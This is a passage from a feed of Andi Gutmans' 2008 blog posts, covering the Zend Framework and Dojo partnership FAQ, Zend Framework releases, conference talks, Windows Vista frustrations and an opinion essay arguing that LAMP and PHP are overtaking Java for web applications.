shortcuts!). Keep an eye on <a href="http://weierophinney.net/matthew/archives/176-Zend-Framework-Dojo-Integration.html">his blog</a> for a more in-depth post on this effort. Thanks also to Alex Russell, Pete Higgins, and Dylan Schiemann from the Dojo team for their support.</p> <p>Below is an FAQ which sheds some more light on this announcement:</p> <p><b>Zend Framework and Dojo Partnership FAQ</b></p> <p>1. What are the Zend Framework and Dojo Toolkit teams announcing? </p> <p>Zend Framework and Dojo are announcing a strategic partnership to deliver an integrated solution for building modern PHP-based Web applications. In order to deliver an out-of-the-box experience Zend Framework will bundle the Dojo Toolkit and will feature Dojo-specific components.</p> <p>2. Why did the Zend Framework and Dojo teams decide to work together? </p> <p>There are many synergies and similarities between the two projects and their communities, including:</p> <p>a) Licensing </p> <p>Zend Framework and Dojo are both licensed under the new BSD license, allowing end users to integrate, alter, and distribute each project as they wish. In integrating with Dojo, Zend Framework continues to deliver business-friendly licensing along with its full Ajax support. </p> <p>b) IP Purity </p> <p>The Zend Framework and Dojo project both require all contributors to sign Apache-style Contributor License Agreements, which mitigates the risk of accepting contributions that infringe upon third parties' intellectual property rights. </p> <p>c) Design Affinity </p> <p>Both projects have similar design philosophies, including a strong emphasis on use-at-will architecture. Additionally, each has rigorous quality guidelines with strict unit testing and coding standards. </p> <p>d) JSON Format</p> <p>While Dojo can accept XHR responses in a variety of formats, JSON is the preferred response format. Zend Framework fully supports JSON for Ajax interactions, and already has a variety of helpers to facilitate data transmission via JSON. JSON is a lightweight format, can be evaluated directly in Javascript, and presents an elegant solution to the problem of data representation in XHR requests.</p> <p>e) Comprehensive Ajax Solution </p> <p>Dojo provides a comprehensive solution for rich web user interfaces. Many other toolkits either abstract common DOM-related actions to make remoting more efficient or focus solely on the UI layer; Dojo provides utilities for all of these. </p> <p>f) Use of Standards</p> <p>Dojo not only implements published standards, but also drives them. For example, members of the Dojo Foundation are working on draft versions of the JSON-RPC, JSON-Schema, and Bayeux Protocol specifications to promote interoperability among JavaScript libraries. In addition, Dojo is adopting and implementing standards driven by the OpenAjax Alliance including the OpenAjax Hub for interoperability.</p> <p>g) Support </p> <p>There are dedicated organizations behind both that allow customers to benefit from a fully supported stack. Zend offers support for PHP, Zend Framework and its application server offering while SitePen has support offerings for Dojo. Depending on customer demand the companies may also create joint support offerings in the future.</p> <p>h) Communities </p> <p>Both projects foster very strong and active communities that can support each other. Visit <a href="http://dojotoolkit.org/community">http://dojotoolkit.org/community</a> and <a href="http://framework.zend.com/community">http://framework.zend.com/community</a> for more information on how to participate. </p> <p>3. What if my favorite Ajax toolkit is not Dojo? How does this fit in with your use-at-will philosophy? </p> <p>Zend Framework will continue to be largely Ajax toolkit agnostic. While we will ship Dojo with Zend Framework as our preferred Ajax toolkit, only those who seek out-of-the-box Ajax functionality in the standard library will require Dojo. Additionally, we expect that the various Dojo-related components and helpers added to Zend Framework will serve as a blueprint for similar components serving alternate Ajax toolkits developed by the Zend Framework community. While we don&#8217;t have immediate plans to support them directly, we may ship such community contributions in the future.</p> <p>While the Zend Framework team feels that Dojo is the right choice of JavaScript toolkit to build our Ajax experience on, it is not necessarily the case that Dojo is the right toolkit for you or your project. In addition, it may not be worthwhile to refactor existing code to standardize on Dojo. You may find that features found in other JavaScript toolkits far outweigh any benefits of our collaboration.</p> <p>The Dojo Toolkit project will, for its part, also continue being server-side framework agnostic. In essence, this collaboration should not be taken as a move towards exclusivity in either project; rather, it adds features in each project to facilitate interoperability between Zend Framework and the Dojo Toolkit.</p> <p>4. What components in the Zend Framework will be affected by this integration? Will any of this work benefit integration projects for other Ajax libraries? </p> <p>Currently, we intend to add the following components: </p> <p>o A dojo() placeholder view helper to facilitate Dojo integration in your views, including setting up the required script and style tags, dojo.require statements, and more. In essence, this work will support and enhance Dojo's modularity at the application level.</p> <p>o Zend_Form elements that utilize Dijit, Dojo&#8217;s widget collection and platform. This will simplify creation of Zend_Form elements that can be rendered as Dijits. For instance, highly interactive widgets such as calendar choosers, color pickers, time selectors, and combo-boxes will be provided in the initial integration project. </p> <p>o A component for creating dojo.data-compatible response payloads. dojo.data defines a standard storage interface; services providing data in this format can then be consumed by a variety of Dojo facilities to provide highly flexible and dynamic content for your user interfaces.</p> <p>o A JSON-RPC server component. JSON-RPC is a lightweight remote procedure call protocol, utilizing JSON for its serialization format; it is useful for sites that require a high volume of interaction between the user interface and server-side data stores, as it allows exposing your server-side APIs in a format directly accessible via your client. Dojo has native JSON-RPC capabilities, and Zend Framework will provide a JSON-RPC implementation that is compatible with Dojo.</p> <p>These features will be added to Zend Framework; no components will be re-written to make use of Dojo. </p> <p>With Dojo support in Zend Framework, we hope to see ZF community contributions that follow this blueprint to add similar functionality for other Ajax toolkits. </p> <p>5. I have feedback regarding the proposed method for integrating Dojo and Zend Framework. How can I deliver this feedback?</p> <p>The Dojo integration will undergo the standard Zend Framework proposal review process. Please watch the main developer&#8217;s mailing list in the coming days for a proposal. You will be able to give feedback as with any proposal.</p> <p>6. Could I contribute support for my favorite Ajax toolkit to Zend Framework? </p> <p>Absolutely. However, we will only officially support Dojo components for the foreseeable future. </p> <p>7. Will Zend Framework ship Dojo? </p> <p>Yes. </p> <p>8. Is Zend joining the Dojo foundation? </p> <p>Zend has signed a corporate CLA with the Dojo Foundation in order to enable Zend staff to contribute to Dojo as needed and has begun the process of becoming a new Dojo Foundation member.</p> <p>9. Is the Dojo team joining Zend Framework as contributors? </p> <p>Yes; the Zend Framework project already has CLAs on file for Dojo contributors. </p> <p>10. If I have signed a Zend Framework CLA will I be able to contribute to the bundled Dojo library? </p> <p>We will not allow contributions to the bundled Dojo library through the Zend Framework project. We will bundle the latest, unmodified version of the Dojo library in Zend Framework; all contributions to that library should be done through the Dojo Foundation according to their policies. However, we may create custom modules to extend Dojo that contain contributions from Zend and the Zend Framework community. The Zend Framework team does not expect to ship custom extensions as part of our initial Dojo integration project.</p> <p>11. What license governs Dojo? </p> <p>It is dual licensed under the modified BSD License and the Academic Free License version 2.1. For details see <a href="http://dojotoolkit.org/license">http://dojotoolkit.org/license</a></p> <p>12. Will Zend Studio add support for Dojo? Will Zend Studio also support other Ajax toolkits? </p> <p>Zend Studio will continue to enhance its Ajax support in upcoming versions. As part of these enhancements it will likely also support individual toolkits including Dojo. We are evaluating enhanced support for Dojo widgets used in Zend Framework components.</p> <p>13. I have questions which you haven&#8217;t answered in this FAQ. How can I ask them?</p> <p>On Tuesday May 27<sup>th</sup> Zend Framework and Dojo team members will hold a joint Q&amp;A webinar. In the webinar the Zend Framework team will deliver a short overview of the proposed integration. Following this short presentation we will open up the Webinar to questions from the audience. In addition, Zend Framework and Dojo community members can email the main development lists of either project. </p> <p>---</p> <p>Enjoy!</p>http://andigutmans.blogspot.com/2008/05/dojo-and-zend-framework-partnership.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-7789401065607662563Tue, 20 May 2008 04:53:00 +00002008-05-19T21:53:42.194-07:00Twitter, please fix your app!<p>Tried to follow the <a href="http://tek.phparch.com/">php|tek</a> twitter but as has been quite typical lately the Twitter service continues to be sporadic.</p> <p><a href="http://lh3.ggpht.com/andigutmans/SDJZUwEZohI/AAAAAAAAAJk/dO_oQYuOu4o/s1600-h/image%5B7%5D.png"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="228" alt="image" src="http://lh5.ggpht.com/andigutmans/SDJZVQEZoiI/AAAAAAAAAJw/9pN1fQW4-cg/image_thumb%5B3%5D.png?imgmax=800" width="415" border="0" /></a> </p> <p>I partially agree with Blaine Cook's <a href="http://romeda.org/blog/2008/05/scalability.html">blog post</a> that languages per-se don't scale on their own. However, there are two things that immediately jump to mind:</p> <p>a) It is much easier to find people who have actually scaled PHP applications, especially in the bay area.</p> <p>b) Over the past years PHP and its extensions have undergone a lot of tuning to enable them to scale more effectively. This includes optimizing file system access, memory management and various other sub systems which will ultimately affect throughput.</p> <p>Twitter team: If you have interest in considering <a href="http://php.net/">PHP</a> (and <a href="http://framework.zend.com/">Zend Framework</a>) drop me a note.</p> http://andigutmans.blogspot.com/2008/05/twitter-please-fix-your-app.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-5455255737357109074Fri, 16 May 2008 21:20:00 +00002008-05-16T14:20:17.007-07:00Zend Framework May Update...<p>Yesterday, May 15th, we released a maintenance release of Zend Framework. <a href="http://framework.zend.com/issues/secure/IssueNavigator.jspa?requestId=10743">49 issues</a> were resolved in this 1.5.2 release. Thanks to all contributors and the ZF team who made this happen. This reinforces our commitment to high quality and we will continue to release periodic mini releases on an as needed basis.</p> <p>Not only is the Zend Framework user base growing rapidly but we are also seeing a sharp rise in adoption of ZF in business-critical commercial applications. Recently we posted two new interesting <a href="http://framework.zend.com/whyzf/casestudies">case studies</a> including one on <a href="http://framework.zend.com/whyzf/casestudies#ims">Indianapolis Motor Speedway</a> who standardized on Zend Framework and Zend products. Another <a href="http://framework.zend.com/whyzf/casestudies#fox">interesting story</a> is <a href="http://corp.ign.com/">IGN Entertainment</a>, a division of Fox Interactive Media, for who the ZF's use-at-will architecture was a key factor in making the choice of Zend Framework.</p> <p>I am looking forward to <a href="http://tek.phparch.com/">php|tek</a> where I will be giving the <a href="http://tek.phparch.com/c/schedule/talk/d1s1/0">opening keynote</a> this coming Wednesday. I will be talking about a variety of topics related to PHP, the eco-system and the broader market changes we are experiencing. I will also be talking about a new RIA related project we have been working on in the Zend Framework team. So stay tuned... For those who can't make it we will be putting out further information right after the keynote. And no, we are not building yet another JavaScript Toolkit :)</p> <p>Last but not least we have just recently worked on improving our <a href="http://framework.zend.com/wiki/display/ZFPROP/Proposal+Process">contribution process</a>. We believe the new process will make it easier to contribute to Zend Framework while not having to compromise on quality. As a result we have also moved many proposals forward in the review process and I believe we will see a lot more code contributions in the coming weeks.</p> <p>Until next time... Happy ZF'ing.</p> http://andigutmans.blogspot.com/2008/05/zend-framework-may-update.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-1798544388961275718Mon, 05 May 2008 23:54:00 +00002008-05-05T17:34:41.945-07:00CommunityOne Talk - Technical ProblemsMy talk at CommunityOne was disappointing. I was planning to show a demo which demonstrates both some of the initial Zend Framework Ajax support and also a prototype of server-side push which we've been working on. Unfortunately Vista was unable to project. I have no idea why but it was constantly giving me errors. After about 15 minutes of the technical staff and myself not being able to resolve the issue I did the presentation sans-demo on a Sun machine which was running XP. Also as a result of not using my machine I didn't have <a href="http://technet.microsoft.com/en-us/sysinternals/bb897434.aspx">ZoomIt</a> available which made it hard for the audience to see the code I was showing.<br /><br />The audience was very courteous though and waited for me to get started. It was also nice that about 50% where PHP users and about 50% had Web-based MVC experience. A balanced setup for a talk which covered PHP, Zend Framework and Ajax/PHP interoperability including scalability and server-side push.<br /><br />Besides the technical difficulties the talk went fine but I am sure there was some disappointment in the audience.<br /><br />I apologize for the inconvenience and am planning to put up the slides and a recorded version of the demo within the next couple of days on this blog so stay tuned. I'll also try and make sure I add a comment on the CommunityOne site once they are up if I manage to figure out how :)<br /><br />In any case, for those who read my <a href="http://andigutmans.blogspot.com/2008/04/at-last-upgrading-to-windows-xp.html">Upgrading to Windows XP</a> blog post, my new Lenovo with pre-installed XP has already been ordered but it'll take 2-3 weeks to actually make it here.http://andigutmans.blogspot.com/2008/05/communityone-talk-technical-problems.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-4937348187328737693Mon, 05 May 2008 04:13:00 +00002008-05-05T08:05:49.218-07:00Launched andigutmans.comFor years I've wanted to run a personal Web site but never found the time to do it. A couple of weeks ago a few Zenders and I started leasing a dedicated server which gave us each a bit more hosting flexibility. Once we got the machine up and running I decided it was finally time to actually launch my own personal Web site.<br />I browsed the Web for a nice design and once I found one I used the little free time I have, after the kids go to sleep, to start building the site.<br />I got started with Zend Framework and a combination of Zend Studio for Eclipse and vim. For now it's a very simple site but I do plan on extending it over time as time permits.<br /><br />What I'm using:<br />- Zend Framework MVC - Matthew did a great job on this. I assure anyone who starts using it will become addicted. Especially useful are the view helpers which make it dead easy to share presentation logic across pages. In my case that included the logic for the navigation menu and the Google analytics setup.<br />- Zend_Gdata - Google's official PHP SDK for the Google Data APIs. This component is actively developed and maintained by the Google team and works great. I use blogger.com for my blog and didn't want to migrate it to my Web site. So thanks to the Zend_Gdata component and little effort I am exposing the most recent entries on my personal Web site.<br />- Zend_Cache (Zend Framework's caching API) - Caching can't get any easier than this. I use it to cache the blog posts fetched via the Google Data Web service and set a TTL.<br />- Twitter Badge - Gives you the ability to embed a Twitter feed on your Web site.<br /><br />That's about it. Most of the Web site is pretty static. It's still a bit boring right now but I am looking forward to building on top of this. If you have any feedback and/or suggestions please let me know.<br /><br />Update: <a href="http://andigutmans.com">Click here</a> to get to the site...http://andigutmans.blogspot.com/2008/05/launched-andigutmanscom.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-3340987144578084154Thu, 01 May 2008 21:47:00 +00002008-05-01T14:47:32.073-07:00Follow-up to recent Java post...<p>Note to myself - Don't publish a blog post which is likely to get broad feedback before going on holiday :)</p> <p>My recent post <a href="http://andigutmans.blogspot.com/2008/03/java-is-losing-battle-for-modern-web.html">&quot;Java is losing the battle for the modern Web. Can the JVM&#160; save the vendors?&quot;</a> has made its way through the blogosphere and I have received an overwhelming amount of both positive feedback and criticism. It also spawned some interesting threads on several forums including on one of the most popular Java community sites, <a href="http://www.theserverside.com/news/thread.tss?thread_id=49016#250344">TheServerSide.com</a>, on entwickler.com, one of Germany's most popular developers sites (lucky I speak German) and on a large amount of blogs.</p> <p>As I can't answer all the feedback I received I do want to at least clarify a few points.</p> <p>Foremost, it is important to understand that this was not a general attack against Java as a language. There are many benefits to Java and many tasks which I would use Java for. Also despite me being primarily a C/C++ developer at heart a lot of PHP 5's object model was inspired by Java as it is significantly cleaner and more elegant than what you find in C++ (*duck*). However, I do also have experience in writing J2EE applications including managing teams of Java developers on large scale projects with the good and the bad. Am I the best Java developer on the block? No. But I do think I have spent enough time with J2EE (oops, sorry, Java EE) and with customers who are significantly invested in Java to have a good idea of its advantages and disadvantages.</p> <p>Without reiterating what I said in my previous post the <a href="http://linux.sys-con.com/read/457324.htm">blog post</a> by Coach Wei, CTO of Nexaweb really sums it up. Like it or not, agree or not, dynamic languages on the LAMP stack in all of its permutations have captured the modern Web for many reasons which I already mentioned in my previous post.</p> <p>In addition, we are seeing a large number of our prospects choose PHP due to huge cost savings and availability of resources (both in house and application development firms), with the understanding that LAMP-based architectures are proven and deployed both on some of the most scalable Web sites (e.g. Facebook &amp; Yahoo!) and in mission-critical Enterprise environments (Fiat pushes 5 billion Euro through a PHP application every year).</p> <p>So if this is a proven paradigm, with a huge community, why are the large Java vendors so focused at the JVM as opposed to embracing hybrid applications with LAMP and Java side-by-side, e.g. LAMP for the Web application and Java for the back-end transaction management, service bus, etc...? As I mentioned I don't believe the answer is as much the good of the customer as it's a matter of control. The investments some of the vendors have made in deploying and managing to the JVM are significant.&#160; Their sales reps would be frustrated if dozens of their products which significantly increased the Java EE deal size would now not be relevant to the LAMP-side of the house. So at the end of the day I believe it ends up being a financial decision for the vendors and not what would most benefit the customer.In my previous post I pointed out why I think ports of the popular dynamic languages to the JVM will not deliver the same result as supporting the native versions and joining those communities. </p> <p>P.S. answers to some of the feedback which repeated itself:</p> <p>- Some readers understood that I was saying that multi-cores only benefit PHP and not Java. My comment was misunderstood.In the past, the Java vendors believed that the lack of multi-threading support in dynamic languages would not enable them to take advantage of technologies such as hyper-threading. My point was that now that the industry is primarily investing in multi-core technologies (because unfortunately they can't figure out how to make CPUs any faster) this disadvantage goes away. I realize that Java can also take full advantage of multi-core technologies.</p> <p>- I got feedback that the stability advantages of the LAMP stack are only relevant if you have bad developers. Not only do I believe that appealing to less experienced developers is a huge advantage (which Microsoft has also traditionally enjoyed) but I don't subscribe to the notion that experienced developers don't screw up. There are many experienced Java EE developers who open threads in the app server when they aren't supposed to because it's the most sane way of achieving a task, have a synchronization blunder, or have forgotten to release a reference to some data. Developers are not perfect beasts and never will be so my point was that the LAMP architecture does protect you from many of these issues as a result of its shared nothing architecture.</p> <p>- I was asked when Eclipse would be written in PHP. Again I am not opposed to Java on all fronts but mainly feel it's got a low ROI when it comes to modern Web applications. At Zend we use Java for our Zend Studio product line, and in general, the reason why PHP has been so successful is because we only focus on doing one thing - powering Web applications.</p> <p>On Monday I'll be giving a talk regarding PHP and Rich Internet Applications at <a href="http://developers.sun.com/events/communityone/">CommunityOne</a>. Feel free to catch me after my session...</p> <p>Andi</p> http://andigutmans.blogspot.com/2008/05/follow-up-to-recent-java-post.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-3363993613390210719Fri, 25 Apr 2008 19:47:00 +00002008-04-25T12:47:02.978-07:00At last upgrading to Windows XP<p>I was one of the first to install Windows Vista over a year ago. My main motivation was to have access to IIS 7 so I could play around with the work we've been doing with Microsoft.</p> <p>There are things I really like about Vista. For people who prefer typing over the mouse the new Search box in the Start menu is extremely productive. Also I really appreciate the sudo like functionality as I'm used to it from Linux/Unix (I know many don't appreciate it but honestly, it's a good thing for Vista users). And of course Aero - yes I know it may not be quite as sexy as the MAC OS X but they did a nice job in modernizing the interface but still keeping it familiar.</p> <p>&lt;side track&gt;</p> <p>I really like the new Office Ribbon. The usability experts really did a good job on that one. They gave a good presentation on it at MIX08 called &quot;The Story of the Ribbon&quot; which you can watch at <a title="http://sessions.visitmix.com/" href="http://sessions.visitmix.com/">http://sessions.visitmix.com/</a>.</p> <p>&lt;/side track&gt;</p> <p>Unfortunately I have regretted installing Windows Vista from the very beginning. I have probably lost hundreds of hours in productivity. The biggest mistake Microsoft made with Vista was to break device driver compatibility with Windows XP. Here are a few ways I have suffered as a result of the decision:</p> <p>- Cisco's VPN still doesn't work well on Vista. I have tried at least 8 different builds and have experienced a variety of issues including blue screens, having to reboot in order to get wireless (diagnose&amp;repair doesn't always work), having to try and connect multiple times until it works, etc... While the drivers aren't perfect on XP they didn't lead to this huge productivity loss. </p> <p>- I still don't have my <a href="http://www.polycom.com/usa/en/products/voice/desktop/communicator_c100s.html#">Polycom Communicator</a> working on Vista. Initially drivers were planned for Q4 2007; Polycom pushed them out to Q1 2008, we are now in Q2 and they are giving Q4 2008 as their goal. </p> <p>- My <a href="http://www.cardscan.com/index.asp">Cardscan</a> software doesn't work on Vista. I have to buy a new version of the software in order to use it on Vista. Not that I mind spending the money as much as I just don't have time to deal with it.</p> <p>- Acronis True Image let me install it on Vista although it didn't work. I happily purchased a version which works but was unable to uninstall the old version. No biggy but a real pain. It's unfortunate that on Windows forcing uninstalls is *way* harder than on Linux where you can do a simple rm -rf /opt/myapp and grep -R myapp /etc/ to be pretty sure you've gotten rid of most of the remnants.</p> <p>These are just some examples of the problems I've had. Microsoft really missed the boat on Vista and I don't see anyway for them to resolve these issues unless they release a service pack which adds driver compatibility to the OS. I am sure the techies have lots of good reasons for why the XP driver interface sucked but that's where technical merits fall short from market requirements.</p> <p>I am looking forward to significantly better productivity on XP. I hope that instead of trying to force their users to move to Vista, Microsoft actually finds a solution and makes the market want to move to their new OS.</p> <p>For those who are curious why I don't move to the MAC. My brain is still too invested in Windows and I have a lot of applications I really like on Windows. That said the following are a couple of additional non-Vista related issues I have had with Windows:</p> <p>- The Windows virtual memory manager &amp; file system just doesn't seem to work well. Linux seems to be much smoother at managing paging, the file system cache and the file system itself. I've tried all sorts of settings on Windows including running it in &quot;Server&quot; mode but I think there's an underlying architectural issue. This is of course Windows on the desktop. Server 2003 &amp; 2008 may not have such issues. Anyone who's used Linux knows what I'm talking about. Linux is very efficient in using up all free memory for file system cache and doesn't usually page before it really has to.</p> <p>- What's up with Outlook <a href="http://blogs.msdn.com/mswanson/archive/2005/05/12/416755.aspx">keeping processes around in the background</a>? None of the suggestions for working around this problem have really worked for me. Having 10 gigs of archives in Outlook not only means Outlook often gets stuck for a few seconds for bookkeeping reasons while I'm working. In addition, when I have to force a reboot and can't wait for the Outlook.exe process to dissapear (can take minutes), then my Outlook folders need to be scanned after reboot; a huge productivity loss. Strange that such fundamental issues exist with probably the world's most popular email reader.</p> <p>While these issues won't be solved on XP, I know from experience that I will be a whole lot more productive. Looking forward to XP!</p> http://andigutmans.blogspot.com/2008/04/at-last-upgrading-to-windows-xp.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-1383991878674434113Thu, 03 Apr 2008 07:03:00 +00002008-04-03T00:03:58.409-07:00Upcoming May 2008 Conferences<p>I'm looking forward to May as I'll be attending two very interesting conferences.</p> <p>First one is <a href="http://developers.sun.com/events/communityone/">CommunityOne</a> where I'll be talking about PHP and RIA.<a href="http://lh5.google.com/andigutmans/R_SBWfu_oWI/AAAAAAAAAH8/2C7502DGkFQ/image%5B3%5D.png"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="43" alt="image" src="http://lh3.google.com/andigutmans/R_SBW_u_oXI/AAAAAAAAAII/mk1cyxjvPK8/image_thumb%5B1%5D.png" width="244" align="right" border="0" /></a> Unfortunately I can't link to the session description because of the way their site is built but I'll be talking about RIA, PHP &amp; Zend Framework and scaling the server side for modern Web applications.</p> <p><a href="http://lh4.google.com/andigutmans/R_SBXPu_oYI/AAAAAAAAAIU/GWDYJi5l25c/image%5B8%5D.png"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="62" alt="image" src="http://lh5.google.com/andigutmans/R_SBXfu_oZI/AAAAAAAAAIg/1Ej3sJULWxY/image_thumb%5B4%5D.png" width="192" align="right" border="0" /></a> </p> <p>Second is <a href="http://tek.phparch.com/">php|tek</a> which I'm very much looking forward to. It's a great opportunity to catch up with a lot of folks from the community which I haven't seen in a while. There I'll be giving the <a href="http://tek.phparch.com/c/schedule/talk/d1s1/0">opening keynote</a> and will focus on the current market landscape and technology trends. This will include some thoughts regarding what directions I think our eco-system and technology should and should not be evolving towards.</p> <p>If you are attending any of these two conferences please come and say hi.</p> http://andigutmans.blogspot.com/2008/04/upcoming-may-2008-conferences.htmlnoreply@blogger.com (Andi Gutmans)tag:blogger.com,1999:blog-9272888.post-4114695881436367155Mon, 24 Mar 2008 18:07:00 +00002008-03-24T11:07:05.290-07:00Java is losing the battle for the modern Web. Can the JVM save the vendors?<p>A few years ago I worked on a very big Enterprise IBM Websphere project. We had some brilliant engineers in the project both in the development and architecture groups. I remember having had several discussions with some of the brightest people on the team regarding PHP and dynamic languages and generally they were looked upon as toy languages without a bright future. Lack of strict typing, scripting performance, and other reasons were given for why Java would persevere as the language of choice.</p> <p> <br />This was the typical reaction dynamic languages would get from the Java community. There were many believable reasons for why these languages, especially the ones gaining fame on top of the LAMP stack, would not last. However, one thing which the Java community ignored for many years was the radical shift to the Web, not only for media and e-commerce Web sites but for a large majority of business applications including CRM, ERP, reporting, document management, etc&#8230; As a result Java EE (then called J2EE) was not built with the Web in mind but rather focused on enterprise integration, transaction management and other back-end processing. While Java EE has long supported Web development with servlets and JSP the companies driving the standards ignored the RESTful nature of the Web and rather continued to drive a general purpose platform.</p> <p> <br />In parallel, the LAMP-like architecture built on top of the C language&#8217;s eco-system of libraries and tools started becoming the most popular platform for developing Web applications. This trend grew in the second half of the 90s and with a recession following the burst of the .com bubble it greatly accelerated due to the lower TCO that the LAMP solutions had to offer. While there are a variety of dynamic languages which make up the LAMP development and deployment paradigm, the most ubiquitous language has been PHP. As a result of PHP being domain specific to the Web it has been shaped in a way which makes it fit the Web paradigm like a glove. By focusing on solving the common Web patterns quickly and easily it holds the biggest market share on the Web. In two separate surveys of one of the most popular Ajax Web sites, the Ajaxian.com, around 50% of Rich Internet Applications developers are using PHP. The trend has also been significantly accelerated as a result of the many popular PHP packages including Wordpress, Drupal, mediaWiki, osCommerce, SugarCRM, and more&#8230;</p> <p> <br />When it became apparent to the large Java vendors that the Web paradigm was being built and innovated without Java they started backing a variety of both standards and non-standards driven Java Web application frameworks which promised to adapt Java to the Web. Such frameworks included Java Server Faces, Struts, Spring MVC and others. Some of these frameworks have been more successful than others but in general none of them managed to resolve one of Java&#8217;s main pain points on the Web. The strict typing and overly complex architecture of Java applications meant longer development times and a need for more skilled engineers in order to push Java applications into the market, i.e. Java&#8217;s TCO on the Web was unsatisfactory.</p> <p> <br />In the meanwhile the large Java vendors were trying to hold the stick at both ends. On one hand trying to be part of the Web paradigm shift and on the other hand protecting their multi-billion dollar businesses built on the Java language. Even the pervasiveness of dynamic languages in the Web space didn&#8217;t change the vendor&#8217;s behavior significantly. The big change came when Microsoft aggressively pursued a multi-language runtime environment for the .NET platform. Not only did they support C# and VB on their virtual machine but they worked with their developer community to add a large amount of languages including Cobol, Eiffel, Ruby, Python, and others. As dynamic languages continued to grow to the point where industry analysts started defining categories (e.g. <a href="http://www.forrester.com/Research/Document/Excerpt/0,7211,41386,00.html)">Forrester Research on dynamic languages</a>) Microsoft continued to leverage their common runtime which was designed from the get go to support multiple languages. </p> <p> <br />As mentioned earlier the de-facto standard implementations of the successful dynamic languages including PHP, Perl, Python and Ruby are all written in C and leverage the breadth and depth of the eco-system of C libraries. As community driven projects these languages do not have a specification nor is their development hindered by corporate bureaucracy. On the contrary, these languages are being developed by their users who have only one end goal &#8211; get the job done, quickly&#8230; As a result the languages are constantly evolving often adding significant enhancements in minor releases. With the rapid changes in how modern Web applications are being built and deployed this agile nature is a must-have to keep up with the latest trends.</p> <p>In addition, the LAMP deployment paradigm has significant advantages. By featuring a multi-process architecture, faults in the Web Server and dynamic language software will typically not lead to sites going down. While one process may crash all other processes serving Web requests will continue running. This is in contrast to multi-threaded environments like the JVM (Java Virtual Machine, Java&#8217;s execution environment) where software faults including crashes and deadlocks will typically lead to system down situations. In addition, the ability to recycle processes after a set time will prevent memory leaks and memory fragmentation, two common software memory problems, from degrading the system efficiency over time. Another key advantage LAMP developers enjoy is the easy deployment paradigm. Software updates can easily and incrementally be pushed out to LAMP servers without requiring prolonged build and packaging processes. While this may lead to unorthodox and sometimes too lax of a process, when done correctly it makes the lives of the developers and the operations personnel much easier.</p> <p> <br />While LAMP&#8217;s growth was fueled by many of these development and deployment advantages, the Java vendors were stuck with the JVM which was very closely aligned to the Java language and had little support for targeting multiple languages. Instead of shifting towards a loosely coupled model of LAMP technology and Java technology in order to deliver the best of both worlds to their customers, most hesitated to lose control over the customer&#8217;s workload and entered an arms race to deliver dynamic languages on top of the JVM. With Microsoft on one side and the Java competitors on the other, each vendor set out to develop their own dynamic languages strategy.</p> <p> <br />Today Sun is investing in JRuby (Ruby) and Jython (Python) support for its Java EE solution; the IBM Websphere group has realized the ineffectiveness of the Java EE platform for running modern Web workloads and has invested heavily in <a href="http://www.projectzero.org">Project Zero</a> which aims to make big blue a Web 2.0 player and initially delivers support for Groovy and PHP; BEA has also had some incubation projects going but with the upcoming sale to Oracle it is unclear whether any of those efforts will materialize. Project Zero&#8217;s Chief Architect is one of the first IBMers to admit in public that Java today can be considered as a system language and is not desirable for building RESTful Web applications which is Project Zero&#8217;s goal (slide #4 of the <a href="http://www.projectzero.org/wiki/bin/view/Community/JasonsBlog/BlogEntry9;">presentation</a>- see slide #11 to see how a simple &#8220;Hello, World&#8221; in Java compares to dynamic languages like Groovy and PHP). It has taken over 10 years for the Java stronghold to admit Java&#8217;s poor ROI on the Web and with the current recession it is likely that many Java customers are going to be making more informed investments. As a result there will be considerable rise in uptake of dynamic languages. Similar to the mainframe Java is heavily entrenched in enterprise IT and business-critical applications and is therefore not going away. That said for fueling modern Web applications the Java language will likely see a steep decline in market share.</p> <p> <br />The question to be asked is whether the non-Microsoft Web market will buy into the JVM implementations of dynamic languages or whether they will move to the LAMP stack which hosts the de-facto standards for the most popular languages.&#160; While I believe there will be customers who are attracted to the JVM implementations especially the ones who are heavily influenced by their relationships with the Java companies, the majority of the market is going to prefer to go down the route of the LAMP stack. Reasons include:</p> <p> <br />-&#160;&#160;&#160; The popular dynamic languages are all backed by very vibrant developer communities and are constantly evolving and adapting. The JVM ports of these languages will always lag behind the community driven de-facto standards implementation and therefore compatibility will be an issue. This is very similar to the problems the <a href="http://www.mono-project.com/Main_Page">Mono</a> community has in keeping up with .NET and this is even after help they get from Microsoft.</p> <p> <br />-&#160;&#160;&#160; The JVM was not originally designed to host dynamic languages. For the foreseeable future the vendors will have significant challenges in keeping up with real-world use-cases. While they may show good performance in synthetic benchmarks such as for loops where JVMs are often superior in real world scenarios they will likely be impaired due to the dynamic nature of these languages which include closures, indirect method calls and a significant amount of type juggling.&#160; See an example of how <a href="http://antoniocangiano.com/2007/12/03/the-great-ruby-shootout/">JRuby compares to Ruby&#8217;s</a> current C implementation.&#160; Also, we have to consider whether it&#8217;s truly in the hardware vendor&#8217;s interest to pursue the most optimized runtimes. With open-source community driven technologies the answer is clear.</p> <p> <br />-&#160;&#160;&#160; The scalability requirements of the modern Web will require an increasing amount of processing density on the Web tier. C-based architectures are much more likely to be able to deliver the highest possible density by most efficiently interfacing with the operating system primitives and by delivering efficient, small foot print architectures. Such examples include high-performance Web Servers such as lighttpd, Zeus, IIS 7; high-performance caching systems such as memcached which is used by some of the largest Web sites including Facebook; and other performance critical subsystems such as memory management.</p> <p> <br />-&#160;&#160;&#160; Multi-core systems work very well with the LAMP stack&#8217;s multi-process paradigm. With the chip industry now focusing primarily on multi-core as opposed to hyper-threading technology, the benefits of multi-threaded environments such as the JVM are not substantially realized on today&#8217;s hardware. Instead the multi-process paradigm delivers more stability and reliability.</p> <p> <br />-&#160;&#160;&#160; Due to its simplicity, the LAMP stack delivers a very low barrier to entry for developers while still delivering the scalability of large scale production systems such as Yahoo! and Facebook.</p> <p> <br />In conclusion, it is 